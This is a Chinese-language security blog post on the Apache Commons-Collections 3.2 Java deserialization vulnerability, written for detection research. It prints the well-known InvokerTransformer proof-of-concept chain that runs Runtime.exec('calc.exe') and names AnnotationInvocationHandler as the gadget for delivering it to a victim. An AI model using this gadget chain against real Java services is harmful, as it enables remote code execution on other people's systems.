参考目前网上JAVA反序列化漏洞文章,本地搭建漏洞模拟环境,利用开源的JAVA反序列化漏洞攻击工具,模拟黑客攻击场景,并分析反序列化攻击的通信行为,预期根据特征或AI算法结合Suricata提出相应的检测方案。
commons-collections-3.2.jar | https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2 |
---|---|
commons-collections src | https://github.com/apache/commons-collections |
Eclipse | 官网下载最新版 |
1、利用Eclipse创建新的JAVA Project项目CCtest
2、加载第三方commons-collections-3.2.jar包,右键项目工程—>Build Path—>Configure Build Path—>Libraries->add External JARS,找到jar文件添加。
3、添加JAR对应的源码:右击项目名称,选择Build Path->Config build path->双击Commons-collections.3.2.jar->Source attachment-> Edit->External Location->选择源码中的SRC下JAVA目录:
此时,双击Commons-collections对应的package,里面的类源代码可见。
具体的漏洞细节可以查看参考章节,里面之前有很多安全人员对漏洞做了细致的分析,本文侧重点在攻击及检测方向,因此,本文主要通过调试的角度介绍漏洞,尽量以小白的方式来简述POC代码:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{"calc.exe"})};
//new Transformer[]{ConstantTransformer对象,3个InvokerTransformer对象} ;里面的“getMethod”,“getRuntime”等可以把它理解成成员变量,就好比对象是人,那么传入的参数值就是五脏六腑。
Transformer transformerChain = new ChainedTransformer(transformers);
//这边吧transformers的集合以参数的方式传递给 ChainedTransformer类,并将其实例化
Map map = new HashMap(); //NEW一个Map类型的容器
map.put("key","hahha"); //map容器里赋值
Map a = TransformedMap.decorate(map,null,transformerChain);
Map.Entry s = (Entry) a.entrySet().iterator().next();
s.setValue("key");
Map a = TransformedMap.decorate(map,null,transformerChain);
...
public class TransformedMap{
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
....
}
相当于创建了一个TransformedMap容器,容器的组成是由原来的map对象和transformerChain 反射链组成,
重点:s.setValue(“key”) ,执行setValue方法
....
public Object setValue(Object object){
if (valueTransformer !=null){
objcet = valueTransformer.transform(object);
}
return entry.setVaule(object)
}
相当于执行了transformerChain.transform(object),而transformerChain对象的transform()方法如下:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
for循环,将new Transformer[]集合每个元素对象按顺序提取出来执行对象.transform()方法
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //ConstantTransformer.transform() 返回Runtime的类类型,class对象
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}), //Runtime.getMethod("getmethod",....."getRuntime") 相当于Runtime.getRuntime()方法
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}), //invoke 一个Runtime.getRuntime() Method对象
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{"calc.exe"})}; Runtime.getRuntime.exec("calc.exe") 对象的执行
debug调试执行,弹出Calc.exe
其实到这边基本上commons-collections JAVA反序列号漏洞的原理已经出来了,说白了就是有一个TransformedMap容器对象,对象里面的成员变量包括一个恶意的Transformer反射链,如果这个TransformedMap容器对象修改VALUE值,那么就会执行恶意代码。
从攻击者的角度,有没有哪个类生成的对象里面正好需要传入TransformedMap容器,并且自动修改TransformedMap容器里的值,AnnotationInvocationHandler这个类恰好满足条件,代码copy了,直接拿“深夜饮酒”大大的图来看了。类里有map类型的成员变量,并且还重写了readObject方法,攻击者只要构造AnnotationInvocationHandler对象传入受害端,受害端会自动执行反射链里的恶意代码,实现攻击。
正在研究中
1、https://www.freebuf.com/news/150872.html
2、https://security.tencent.com/index.php/blog/msg/97
3、https://blog.51cto.com/13770310/2160737